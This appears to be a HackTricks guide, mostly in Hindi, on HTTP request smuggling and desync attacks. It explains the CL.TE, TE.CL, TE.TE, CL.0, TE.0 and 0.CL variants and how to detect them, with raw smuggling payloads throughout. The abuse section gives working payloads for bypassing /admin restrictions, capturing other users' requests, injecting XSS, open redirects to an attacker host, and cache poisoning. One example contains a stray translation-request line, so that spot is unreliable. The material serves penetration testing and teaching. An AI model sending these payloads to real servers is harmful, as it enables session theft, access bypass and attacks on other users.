HTTP Request Smuggling / HTTP Desync Attack

Tip

AWS Hacking सीखें & अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE) assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।

HackTricks का समर्थन करें

• subscription plans देखें!
• जुड़ें 💬 Discord group, telegram group, follow करें @hacktricks_live X/Twitter पर, या LinkedIn page और YouTube channel देखें।
• HackTricks](https://github.com/carlospolop/hacktricks) और HackTricks Cloud github repos में PRs सबमिट करके hacking tricks साझा करें।

What is

यह vulnerability तब होती है जब front-end proxies और back-end server के बीच desyncronization के कारण एक attacker HTTP request send कर सकता है, जिसे front-end proxies (load balance/reverse-proxy) द्वारा single request के रूप में interpreted किया जाएगा और back-end server द्वारा 2 request के रूप में।
इससे एक user अपने request के बाद back-end server पर आने वाले अगले request को modify कर सकता है।

Theory

RFC Specification (2161)

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.

Content-Length

The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.

Transfer-Encoding: chunked

The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks

Reality

Front-End (a load-balance / Reverse Proxy) content-length या transfer-encoding header को process करता है और Back-end server दूसरे को process करता है, जिससे 2 systems के बीच desyncronization हो जाती है।
यह बहुत critical हो सकता है क्योंकि an attacker will be able to send one request reverse proxy को, जिसे back-end server 2 different requests के रूप में interpreted करेगा। इस technique का danger इस fact में है कि back-end server 2nd request injected को ऐसे interpret करेगा जैसे वह next client से आया हो और उस client का real request injected request का part बन जाएगा।

Particularities

याद रखें कि HTTP में a new line character is composed by 2 bytes:

• Content-Length: यह header decimal number का use करके request के body में bytes की संख्या बताता है। body का अंत आखिरी character पर expected होता है, request के end में new line की जरूरत नहीं होती।
• Transfer-Encoding: यह header body में hexadecimal number का use करके next chunk के bytes की संख्या बताता है। chunk का end एक new line के साथ होना चाहिए, लेकिन यह new line length indicator में count नहीं होती। यह transfer method size 0 वाले chunk के साथ समाप्त होना चाहिए, जिसके बाद 2 new lines हों: 0
• Connection: मेरे experience के आधार पर request Smuggling के पहले request में Connection: keep-alive use करना recommended है।

Visible - Hidden

http/1.1 की main proble यह है कि सभी requests same TCP socket में जाती हैं, इसलिए अगर 2 systems द्वारा requests receive करते समय कोई discrepancy मिलती है, तो final backend (या even intermediary systems) द्वारा एक request को 2 अलग-अलग requests (या अधिक) के रूप में treat करना संभव है।

This blog post ऐसे नए तरीके propose करता है जो WAFs द्वारा flag किए बिना system पर desync attacks detect कर सकें। इसके लिए यह Visible vs Hidden behaviors प्रस्तुत करता है। इस case में goal response में discrepancies find करना है, ऐसी techniques का use करके जो actually कुछ exploit किए बिना desync cause कर सकती हैं।

उदाहरण के लिए, normal host header और एक “ host“ header के साथ request send करना; अगर backend इस request के बारे में complain करता है (शायद क्योंकि “ host“ का value incorrect है), तो इसका मतलब हो सकता है कि front-end ने “ host“ header को देखा ही नहीं, जबकि final backend ने उसे use किया। यह highly probable रूप से front-end और backend के बीच desync imply करता है।

यह एक Hidden-Visible discrepancy होगी।

अगर front-end ने “ host“ header को take into account किया होता लेकिन front-end ने नहीं, तो यह Visible-Hidden situation हो सकती है।

उदाहरण के लिए, इससे AWS ALB as front-end और IIS as backend के बीच desync discover करना संभव हुआ। ऐसा इसलिए था क्योंकि जब “Host: foo/bar” send किया गया, ALB ने 400, Server; awselb/2.0 return किया, लेकिन जब “Host : foo/bar” send किया गया, तो उसने 400, Server: Microsoft-HTTPAPI/2.0 return किया, जिससे indicate हुआ कि backend response send कर रहा था। यह एक Hidden-Vissible (H-V) situation है।

ध्यान दें कि यह situation AWS में corrected नहीं है, लेकिन इसे routing.http.drop_invalid_header_fields.enabled और routing.http.desync_mitigation_mode = strictest सेट करके prevent किया जा सकता है।

Basic Examples

Tip

Burp Suite के साथ इसे exploit करने की कोशिश करते समय repeater में Update Content-Length और Normalize HTTP/1 line endings disable करें क्योंकि कुछ gadgets newlines, carriage returns और malformed content-lengths का abuse करते हैं।

HTTP request smuggling attacks ambiguous requests send करके crafted किए जाते हैं जो front-end और back-end servers द्वारा Content-Length (CL) और Transfer-Encoding (TE) headers को interpret करने के तरीके में discrepancies exploit करते हैं। ये attacks अलग-अलग forms में manifest हो सकते हैं, मुख्यतः CL.TE, TE.CL, और TE.TE के रूप में। हर type यह दिखाता है कि front-end और back-end servers इन headers को कैसे prioritize करते हैं, इसका unique combination। vulnerabilities इसलिए उत्पन्न होती हैं क्योंकि servers same request को अलग-अलग तरीकों से process करते हैं, जिससे unexpected और potentially malicious outcomes आते हैं।

Basic Examples of Vulnerability Types

Tip

पिछली table में आपको TE.0 technique भी जोड़नी चाहिए, CL.0 technique की तरह लेकिन Transfer Encoding का use करके।

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

• Front-End (CL): request को Content-Length header के आधार पर process करता है।

• Back-End (TE): request को Transfer-Encoding header के आधार पर process करता है।

• Attack Scenario:

• attacker ऐसी request send करता है जिसमें Content-Length header का value actual content length से match नहीं करता।

• front-end server Content-Length value के आधार पर पूरी request back-end को forward करता है।

• Transfer-Encoding: chunked header के कारण back-end server request को chunked के रूप में process करता है, और बाकी data को एक separate, बाद की request के रूप में interpret करता है।

• Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

• Front-End (TE): request को Transfer-Encoding header के आधार पर process करता है।

• Back-End (CL): request को Content-Length header के आधार पर process करता है।

• Attack Scenario:

• attacker एक chunked request send करता है जिसमें chunk size (7b) और actual content length (Content-Length: 4) align नहीं करते।

• front-end server, Transfer-Encoding को honor करते हुए, पूरी request back-end को forward करता है।

• back-end server, Content-Length का सम्मान करते हुए, request के केवल initial part (7b bytes) को process करता है, और बाकी को unintended subsequent request का part छोड़ देता है।

• Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

• Servers: दोनों Transfer-Encoding support करते हैं, लेकिन obfuscation के जरिए एक को इसे ignore करने के लिए trick किया जा सकता है।

• Attack Scenario:

• attacker obfuscated Transfer-Encoding headers के साथ request send करता है।

• कौन सा server (front-end या back-end) obfuscation को recognize करने में fail करता है, इसके आधार पर CL.TE या TE.CL vulnerability exploit की जा सकती है।

• request का unprocessed part, जैसा कि servers में से एक देखता है, subsequent request का part बन जाता है, जिससे smuggling होती है।

• Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

• दोनों servers request को सिर्फ Content-Length header के आधार पर process करते हैं।
• यह scenario आमतौर पर smuggling तक नहीं ले जाता, क्योंकि दोनों servers request length को एक ही तरह से interpret करते हैं।
• Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

• उन scenarios को refer करता है जहाँ Content-Length header present होता है और उसका value zero के अलावा कुछ और होता है, जिससे पता चलता है कि request body में content है। back-end Content-Length header को ignore करता है (जिसे 0 माना जाता है), लेकिन front-end इसे parse करता है।
• smuggling attacks को समझने और craft करने में यह crucial है, क्योंकि यह तय करता है कि servers request के end को कैसे determine करते हैं।
• Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

• पिछले वाले की तरह, लेकिन TE का use करके
• Technique reported here
• Example:

OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

0.CL Scenario

0.CL स्थिति में एक request भेजी जाती है with a Content-Length like:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

और front-end Content-Length को account में नहीं लेता, इसलिए वह backend को सिर्फ पहला request ही भेजता है (उदाहरण में 7 तक)। हालांकि, backend Content-Length देखता है और एक ऐसे body का इंतज़ार करता है जो कभी आता ही नहीं, क्योंकि front-end पहले से ही response का इंतज़ार कर रहा होता है।

हालांकि, अगर ऐसा request हो जिसे backend को भेजना possible हो और जिसका response request के body को receive करने से पहले ही मिल जाए, तो यह deadlock नहीं होगा। IIS में, उदाहरण के लिए, यह forbidden words जैसे /con पर requests भेजने से होता है ( documentation देखें), इस तरह initial request का response सीधे मिल जाएगा और second request में victim का request होगा, जैसे:

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

यह desync पैदा करने के लिए उपयोगी है, लेकिन तब तक इसका कोई असर नहीं होगा।

हालांकि, पोस्ट इस समस्या का समाधान 0.CL attack को double desync के साथ CL.0 में बदलकर देती है।

web server को तोड़ना

यह तकनीक उन scenarios में भी उपयोगी है जहाँ initial HTTP data पढ़ते समय web server को break करना संभव हो लेकिन connection बंद किए बिना। इस तरह, HTTP request का body को next HTTP request माना जाएगा।

उदाहरण के लिए, जैसा कि इस writeup में बताया गया है, Werkzeug में कुछ Unicode characters भेजकर server को break करना संभव था। हालांकि, अगर HTTP connection Connection: keep-alive header के साथ बनाया गया था, तो request का body read नहीं किया जाएगा और connection अभी भी open रहेगा, इसलिए request का body को next HTTP request माना जाएगा।

hop-by-hop headers के जरिए force करना

hop-by-hop headers का abuse करके आप proxy को यह संकेत दे सकते हैं कि वह Content-Length या Transfer-Encoding header को delete कर दे, ताकि एक HTTP request smuggling का फायदा उठाना संभव हो।

Connection: Content-Length

For more information about hop-by-hop headers visit:

hop-by-hop headers

HTTP Request Smuggling ढूंढना

HTTP request smuggling vulnerabilities की पहचान अक्सर timing techniques से की जा सकती है, जो इस बात पर निर्भर करती हैं कि server को manipulated requests का response देने में कितना समय लगता है। ये techniques खास तौर पर CL.TE और TE.CL vulnerabilities को detect करने में उपयोगी हैं। इन तरीकों के अलावा, ऐसी vulnerabilities ढूंढने के लिए और भी strategies और tools इस्तेमाल किए जा सकते हैं:

Timing Techniques का उपयोग करके CL.TE Vulnerabilities ढूंढना

• Method:

• ऐसी request भेजें जो, अगर application vulnerable है, तो back-end server को अतिरिक्त data का इंतज़ार करने पर मजबूर करेगी।

• Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

• Observation:

• front-end server request को Content-Length के आधार पर process करता है और message को समय से पहले काट देता है।

• back-end server, जो chunked message की उम्मीद कर रहा है, अगले chunk का इंतज़ार करता है जो कभी नहीं आता, जिससे delay होता है।

• Indicators:

• response में timeouts या लंबे delays।

• back-end server से 400 Bad Request error मिलना, कभी-कभी detailed server information के साथ।

Timing Techniques का उपयोग करके TE.CL Vulnerabilities ढूंढना

• Method:

• ऐसी request भेजें जो, अगर application vulnerable है, तो back-end server को अतिरिक्त data का इंतज़ार करने पर मजबूर करेगी।

• Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

• Observation:
• front-end server request को Transfer-Encoding के आधार पर process करता है और पूरे message को forward करता है।
• back-end server, जो Content-Length के आधार पर message की उम्मीद कर रहा है, अतिरिक्त data का इंतज़ार करता है जो कभी नहीं आता, जिससे delay होता है।

Vulnerabilities ढूंढने के अन्य तरीके

• Differential Response Analysis:
• request के थोड़े-थोड़े अलग versions भेजें और देखें कि क्या server responses अप्रत्याशित तरीके से अलग हैं, जो parsing discrepancy को दिखाता है।
• Using Automated Tools:
• Burp Suite का ‘HTTP Request Smuggler’ extension जैसे tools कई तरह की ambiguous requests भेजकर और responses का विश्लेषण करके इन vulnerabilities को automatically test कर सकते हैं।
• Content-Length Variance Tests:
• ऐसे अलग-अलग Content-Length values वाली requests भेजें जो actual content length से मेल नहीं खातीं, और देखें कि server ऐसे mismatches को कैसे handle करता है।
• Transfer-Encoding Variance Tests:
• obfuscated या malformed Transfer-Encoding headers भेजें और monitor करें कि front-end और back-end servers ऐसी manipulations पर कितने अलग तरीके से respond करते हैं।

Expect: 100-continue header

देखें कि यह header यहां http desync exploit करने में कैसे मदद कर सकता है:

Special Http Headers

HTTP Request Smuggling Vulnerability Testing

timing techniques की effectiveness confirm करने के बाद, यह verify करना बहुत ज़रूरी है कि client requests को manipulate किया जा सकता है या नहीं। एक सीधा तरीका है requests को poison करने की कोशिश करना, उदाहरण के लिए / पर request भेजकर 404 response लाना। पहले चर्चा किए गए Basic Examples में CL.TE और TE.CL examples दिखाते हैं कि कैसे client की request को poison करके 404 response दिलाया जा सकता है, भले ही client किसी अलग resource को access करना चाहता हो।

Key Considerations

request smuggling vulnerabilities का test करते समय, जब आप दूसरी requests में interfere करें, तो ध्यान रखें:

• Distinct Network Connections: “attack” और “normal” requests को अलग network connections पर भेजना चाहिए। दोनों के लिए same connection इस्तेमाल करने से vulnerability की मौजूदगी validate नहीं होती।
• Consistent URL and Parameters: दोनों requests के लिए identical URLs और parameter names इस्तेमाल करने का लक्ष्य रखें। Modern applications अक्सर URL और parameters के आधार पर requests को specific back-end servers तक route करती हैं। इन्हें match करने से यह संभावना बढ़ती है कि दोनों requests same server द्वारा process हों, जो successful attack के लिए ज़रूरी है।
• Timing and Racing Conditions: “normal” request, जिसका मकसद “attack” request से होने वाले interference का पता लगाना है, दूसरी concurrent application requests के साथ race करती है। इसलिए, “normal” request को “attack” request के तुरंत बाद भेजें। Busy applications में conclusive vulnerability confirmation के लिए कई trials की ज़रूरत हो सकती है।
• Load Balancing Challenges: front-end servers जो load balancers की तरह काम करते हैं, requests को विभिन्न back-end systems में distribute कर सकते हैं। अगर “attack” और “normal” requests अलग-अलग systems पर पहुँच जाएँ, तो attack सफल नहीं होगा। इस load balancing aspect के कारण vulnerability confirm करने के लिए कई attempts करने पड़ सकते हैं।
• Unintended User Impact: अगर आपका attack अनजाने में किसी दूसरे user की request को प्रभावित करता है (उस “normal” request को नहीं जो आपने detection के लिए भेजी थी), तो इसका मतलब है कि आपका attack दूसरे application user को प्रभावित कर रहा है। Continuous testing अन्य users को disrupt कर सकता है, इसलिए सावधानी ज़रूरी है।

HTTP/1.1 pipelining artifacts vs genuine request smuggling को अलग पहचानना

Connection reuse (keep-alive) और pipelining testing tools में आसानी से “smuggling” का illusion पैदा कर सकते हैं, खासकर जब वे same socket पर multiple requests भेजते हैं। harmless client-side artifacts और real server-side desync के बीच अंतर करना सीखें।

क्यों pipelining classic false positives पैदा करता है

HTTP/1.1 एक ही TCP/TLS connection को reuse करता है और requests तथा responses को same stream पर concatenate करता है। Pipelining में, client back-to-back multiple requests भेजता है और in-order responses पर निर्भर करता है। एक common false-positive तब होता है जब malformed CL.0-style payload को एक ही connection पर दो बार resend किया जाता है:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

कृपया अनुवाद के लिए content भेजें।

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

यदि server ने malformed Content_Length को ignore कर दिया, तो कोई FE↔BE desync नहीं है। reuse के साथ, आपके client ने वास्तव में यह byte-stream भेजा, जिसे server ने दो independent requests के रूप में parse किया:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Impact: none. आपने अपना client server framing से desync कर दिया।

Tip

Burp modules जो reuse/pipelining पर depend करते हैं: requestsPerConnection>1 के साथ Turbo Intruder, “HTTP/1 connection reuse” के साथ Intruder, “Send group in sequence (single connection)” या “Enable connection reuse” के साथ Repeater।

Litmus tests: pipelining या real desync?

1. Reuse disable करें और दोबारा test करें

• Burp Intruder/Repeater में, HTTP/1 reuse बंद करें और “Send group in sequence” से बचें।
• Turbo Intruder में, requestsPerConnection=1 और pipeline=False set करें।
• अगर behavior गायब हो जाता है, तो likely यह client-side pipelining था, जब तक कि आप connection-locked/stateful targets या client-side desync से deal नहीं कर रहे हों।

2. HTTP/2 nested-response check

• एक HTTP/2 request भेजें। अगर response body में एक complete nested HTTP/1 response है, तो आपने pure client artifact के बजाय backend parsing/desync bug साबित कर दिया है।

3. Connection-locked front-ends के लिए partial-requests probe

• कुछ FEs केवल upstream BE connection reuse करते हैं अगर client ने अपनी connection reuse की हो। partial-requests का use करके ऐसे FE behavior detect करें जो client reuse को mirror करता है।
• connection-locked technique के लिए PortSwigger “Browser‑Powered Desync Attacks” देखें।

4. State probes

• same TCP connection पर first- vs subsequent-request differences देखें (first-request routing/validation)।
• Burp “HTTP Request Smuggler” में एक connection-state probe शामिल है जो इसे automate करता है।

5. Wire visualize करें

• reuse और partial requests के साथ experiment करते समय concatenation और message framing सीधे inspect करने के लिए Burp “HTTP Hacker” extension का use करें।

Connection-locked request smuggling (reuse-required)

कुछ front-ends केवल upstream connection तब reuse करते हैं जब client अपनी reuse करता है। Real smuggling मौजूद है लेकिन यह client-side reuse पर conditional है। इसे distinguish और impact साबित करने के लिए:

• server-side bug साबित करें
• HTTP/2 nested-response check का use करें, या
• partial-requests का use करके दिखाएँ कि FE केवल तभी upstream reuse करता है जब client करता है।
• direct cross-user socket abuse blocked होने पर भी real impact दिखाएँ:
• Cache poisoning: desync के जरिए shared caches poison करें ताकि responses दूसरे users को affect करें।
• Internal header disclosure: FE-injected headers (जैसे auth/trust headers) reflect करें और auth bypass तक pivot करें।
• FE controls bypass: restricted paths/methods को front-end के past smuggle करें।
• Host-header abuse: host routing quirks के साथ combine करके internal vhosts तक pivot करें।
• Operator workflow
• controlled reuse के साथ reproduce करें (Turbo Intruder requestsPerConnection=2, या Burp Repeater tab group → “Send group in sequence (single connection)”)।
• फिर cache/header-leak/control-bypass primitives से chain करें और cross-user या authorization impact demonstrate करें।

connection-state attacks भी देखें, जो closely related हैं लेकिन technically smuggling नहीं हैं:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Client-side desync constraints

अगर आप browser-powered/client-side desync target कर रहे हैं, तो malicious request browser cross-origin से sendable होना चाहिए। Header obfuscation tricks काम नहीं करेंगे। navigation/fetch के जरिए reachable primitives पर focus करें, और फिर cache poisoning, header disclosure, या front-end control bypass की ओर pivot करें जहाँ downstream components responses reflect या cache करते हैं।

Background और end-to-end workflows के लिए:

Browser HTTP Request Smuggling

Decision में मदद करने वाले tooling

• HTTP Hacker (Burp BApp Store): low-level HTTP behavior और socket concatenation expose करता है।
• “Smuggling or pipelining?” Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
• Turbo Intruder: requestsPerConnection के जरिए connection reuse पर precise control।
• Burp HTTP Request Smuggler: first-request routing/validation spot करने के लिए connection-state probe शामिल है।

Note

reuse-only effects को non-issues मानें, जब तक आप server-side desync साबित न कर सकें और concrete impact न जोड़ सकें (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, आदि)।

HTTP Request Smuggling का abuse

HTTP Request Smuggling के जरिए Front-End Security को Circumvent करना

कभी-कभी front-end proxies security measures enforce करते हैं, incoming requests की scrutiny करते हैं। हालांकि, इन measures को HTTP Request Smuggling exploit करके circumvent किया जा सकता है, जिससे restricted endpoints तक unauthorized access possible हो जाता है। उदाहरण के लिए, /admin access externally prohibited हो सकता है, और front-end proxy ऐसे attempts को actively block कर सकता है। फिर भी, यह proxy smuggled HTTP request के भीतर embedded requests inspect करना भूल सकता है, जिससे इन restrictions को bypass करने का loophole रह जाता है।

निम्नलिखित examples पर विचार करें जो दिखाते हैं कि HTTP Request Smuggling का use front-end security controls bypass करने के लिए कैसे किया जा सकता है, खासकर /admin path को target करते हुए, जिसे आम तौर पर front-end proxy द्वारा guarded रखा जाता है:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

CL.TE attack में, Content-Length header का उपयोग initial request के लिए किया जाता है, जबकि subsequent embedded request Transfer-Encoding: chunked header का उपयोग करती है। front-end proxy initial POST request को process करता है लेकिन embedded GET /admin request की inspect नहीं कर पाता, जिससे /admin path तक unauthorized access संभव हो जाता है।

TE.CL Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

इसके विपरीत, TE.CL attack में, प्रारंभिक POST request Transfer-Encoding: chunked का उपयोग करती है, और subsequent embedded request को Content-Length header के आधार पर process किया जाता है। CL.TE attack की तरह, front-end proxy smuggled GET /admin request को overlook कर देता है, जिससे अनजाने में restricted /admin path तक access मिल जाता है।

Revealing front-end request rewriting

Applications अक्सर एक front-end server का उपयोग incoming requests को back-end server तक भेजने से पहले modify करने के लिए करती हैं। एक typical modification में X-Forwarded-For: <IP of the client> जैसे headers जोड़ना शामिल होता है, ताकि client का IP back-end तक relay किया जा सके। इन modifications को समझना महत्वपूर्ण हो सकता है, क्योंकि इससे protections bypass करने या concealed information or endpoints का पता लगाने के तरीके सामने आ सकते हैं।

यह जानने के लिए कि proxy किसी request को कैसे alter करता है, ऐसा POST parameter ढूंढें जिसे back-end response में echo करता हो। फिर, निम्नलिखित की तरह, इस parameter को आख़िर में रखकर एक request craft करें:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

इस structure में, subsequent request components search= के बाद append होते हैं, जो response में reflected parameter है। यह reflection subsequent request के headers को expose करेगा।

Nested request के Content-Length header को actual content length के साथ align करना महत्वपूर्ण है। छोटे value से शुरू करना और धीरे-धीरे increment करना advisable है, क्योंकि बहुत कम value reflected data को truncate कर देगी, जबकि बहुत ज्यादा value request को error out करा सकती है।

यह technique TE.CL vulnerability के context में भी applicable है, लेकिन request को search=\r\n0 के साथ terminate करना चाहिए। Newline characters चाहे जैसे भी हों, values search parameter में append होंगी।

यह method मुख्यतः front-end proxy द्वारा किए गए request modifications को समझने के लिए काम आती है, essentially एक self-directed investigation करना।

Capturing other users’ requests

POST operation के दौरान किसी parameter के value के रूप में एक specific request append करके अगले user की requests capture करना feasible है। इसे इस तरह किया जा सकता है:

निम्न request को किसी parameter के value के रूप में append करके, आप subsequent client’s request store कर सकते हैं:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

इस scenario में, comment parameter का उद्देश्य एक सार्वजनिक रूप से accessible page पर post के comment section के भीतर की content को store करना है। परिणामस्वरूप, subsequent request की contents एक comment के रूप में दिखाई देंगी।

हालांकि, इस technique की कुछ limitations हैं। सामान्यतः, यह data को केवल smuggled request में इस्तेमाल किए गए parameter delimiter तक ही capture करती है। URL-encoded form submissions के लिए, यह delimiter & character होता है। इसका मतलब है कि victim user के request से captured content पहले & पर ही रुक जाएगा, जो कभी-कभी query string का हिस्सा भी हो सकता है।

इसके अलावा, यह ध्यान देने योग्य है कि यह approach TE.CL vulnerability के साथ भी viable है। ऐसे मामलों में, request का अंत search=\r\n0 पर होना चाहिए। newline characters की परवाह किए बिना, values search parameter में append हो जाएंगी।

Reflected XSS का exploit करने के लिए HTTP request smuggling का उपयोग

HTTP Request Smuggling को Reflected XSS के प्रति vulnerable web pages का exploit करने के लिए leverage किया जा सकता है, जो महत्वपूर्ण advantages देता है:

• target users के साथ interaction required नहीं है।
• Request के उन हिस्सों में XSS का exploitation संभव बनाता है जो normally unattainable होते हैं, जैसे HTTP request headers।

उन scenarios में जहां कोई website User-Agent header के through Reflected XSS के प्रति susceptible है, निम्न payload इस vulnerability को exploit करने का तरीका दिखाता है:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

यह payload vulnerability का exploit करने के लिए इस तरह structured है:

1. एक POST request शुरू करता है, जो दिखने में typical है, और इसमें Transfer-Encoding: chunked header होता है ताकि smuggling की शुरुआत संकेतित हो।
2. इसके बाद 0 आता है, जो chunked message body के अंत को mark करता है।
3. फिर एक smuggled GET request introduce की जाती है, जहाँ User-Agent header में एक script inject की जाती है, <script>alert(1)</script>, जिससे server इस subsequent request को process करते समय XSS trigger हो जाता है।

User-Agent को smuggling के through manipulate करके, payload normal request constraints को bypass करता है, और इस तरह Reflected XSS vulnerability को non-standard लेकिन effective तरीके से exploit करता है।

HTTP/0.9

Caution

अगर user content किसी response में Content-type जैसे text/plain के साथ reflect होता है, तो XSS का execution prevent हो जाएगा। अगर server HTTP/0.9 support करता है, तो इसे bypass करना possible हो सकता है!

HTTP/0.9 version पहले 1.0 से था और सिर्फ GET verbs use करता है और headers के साथ respond नहीं करता, सिर्फ body देता है।

इस writeup में, इसे request smuggling और एक vulnerable endpoint that will reply with the input of the user के through abuse किया गया था, ताकि HTTP/0.9 के साथ request smuggle की जा सके। जिस parameter को response में reflect किया जाना था, उसमें एक fake HTTP/1.1 response (with headers and body) था, इसलिए response में valid executable JS code होगा और Content-Type text/html का होगा।

Exploiting On-site Redirects with HTTP Request Smuggling

Applications अक्सर एक URL से दूसरे URL पर redirect करती हैं, और इसके लिए Host header से hostname लेकर redirect URL में use करती हैं। यह Apache और IIS जैसे web servers में common है। उदाहरण के लिए, बिना trailing slash के किसी folder को request करने पर slash शामिल करने के लिए redirect होता है:

GET /home HTTP/1.1
Host: normal-website.com

परिणाम:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

यद्यपि यह harmless लगता है, इस behavior को HTTP request smuggling का उपयोग करके manipulate किया जा सकता है ताकि users को एक external site पर redirect किया जा सके। उदाहरण के लिए:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

यह smuggled request अगले processed user request को attacker-controlled website पर redirect कर सकता है:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

परिणाम:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

इस परिदृश्य में, किसी उपयोगकर्ता के JavaScript file के लिए request को hijack किया जाता है। attacker संभावित रूप से जवाब में malicious JavaScript serve करके user को compromise कर सकता है।

HTTP Request Smuggling के माध्यम से Web Cache Poisoning का Exploitation

Web cache poisoning को तब execute किया जा सकता है जब front-end infrastructure का कोई भी component content को cache करता हो, आमतौर पर performance बेहतर करने के लिए। server के response में manipulation करके, cache को poison करना संभव है।

पहले, हमने देखा कि server responses को बदलकर 404 error लौटाया जा सकता है (Basic Examples देखें)। इसी तरह, server को इस बात के लिए trick किया जा सकता है कि वह /static/include.js के request के जवाब में /index.html content दे। परिणामस्वरूप, /static/include.js content cache में /index.html के content से replace हो जाता है, जिससे /static/include.js users के लिए inaccessible हो जाता है, और इससे Denial of Service (DoS) हो सकता है।

यह technique विशेष रूप से शक्तिशाली हो जाती है यदि कोई Open Redirect vulnerability मिल जाए या यदि on-site redirect to an open redirect हो। ऐसी vulnerabilities का उपयोग /static/include.js के cached content को attacker के control वाले script से replace करने के लिए किया जा सकता है, जिससे मूल रूप से सभी clients जो updated /static/include.js request करते हैं, उनके खिलाफ एक व्यापक Cross-Site Scripting (XSS) attack सक्षम हो जाता है।

